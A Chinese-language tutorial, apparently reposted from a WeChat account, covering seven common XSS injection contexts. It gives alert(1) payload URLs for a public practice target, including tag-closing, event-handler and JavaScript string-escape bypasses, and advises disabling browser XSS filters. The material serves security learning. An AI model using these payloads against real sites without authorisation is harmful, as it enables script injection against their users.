大多数解释什么是 XSS 的文章中都会使用如下的payload
<script>alert(1)</script>
来进行演示。这种手法虽然十分经典和真实,但是在XSS实战中会比这个稍微复杂一些。
本文将讲述 7 个必知必会的XSS案例,练习靶场如下
http://brutelogic.com.br/xss.php
反射型和存储型XSS的本质原理都是一样的,本文作为案例展示,主要使用反射型进行演示
P.S. 测试XSS的时候,有些浏览器会自动开启XSS过滤功能,请将此功能关闭,或者使用默认不开启此功能的浏览器,如FireFox
当URL以某种形式在源代码中展示出来的时候,我们就可以插入我们的XSS Payload(XSS向量)。PHP中,可以在URL后加入一个"/",然后在后面加上任意内容
http://brutelogic.com.br/xss.php/"><svg onload=alert(1)>
其中,">"用来闭合当前的tag,从而插入一个新的svg标签
二、简单HTML注入
最直接简单的方式,不需要任何闭合构造,输入的内容直接被嵌入到了两个标签之间。
http://brutelogic.com.br/xss.php?a=<svg onload=alert(1)>
三、内联HTML注入
输入的内容直接被嵌入到一个tag内,只需要构造Payload,将当前的tag闭合
http://brutelogic.com.br/xss.php?b1="><svg onload=alert(1)>
四、内联HTML注入:无法闭合当前tag
当输入被嵌入到HTML属性中,这时">"会被转义成HTML实体,这样就无法闭合当前的tag
这时可以注入事件处理属性来触发XSS
http://brutelogic.com.br/xss.php?b3=" onmouseover=alert(1)//
五、JS中的HTML注入
有时输入的内容会被嵌入到 js 脚本中,一般都会作为js中变量的值,由于HTML的tag在HTML解析中的优先级更高,所以可以直接通过
</script>
来闭合当前的js脚本
http://brutelogic.com.br/xss.php?c1=</script><svg onload=alert(1)>
六、简单JS注入
如果
</script>
被过滤了,那上面的方法就失效了
我们需要构造有效的js语法
http://brutelogic.com.br/xss.php?c3='-alert(1)-'
七、JS注入:转义过滤
上面的例子中,如果输入的"'"被转义成"'",那么我们的js语法将不成立
然而,我们可以变换下思路
http://brutelogic.com.br/xss.php?c5='-alert(1)//
通过多输入一个""来吃掉,过滤器自己为"'"添加的"",从而使js语法成立
P.S. 末尾的 // 可以注释掉后面的无关内容,保证后面的js语法正确
八、参考链接
https://brutelogic.com.br/blog/the-7-main-xss-cases-everyone-should-know/
http://brutelogic.com.br/xss.php
本公众号内的文章及工具仅提供学习用途,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。
今日关注福利
回复 gitdork ,获取 Github侦查查询技巧
原文始发于微信公众号(我不是Hacker):7大必知必会的XSS案例
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论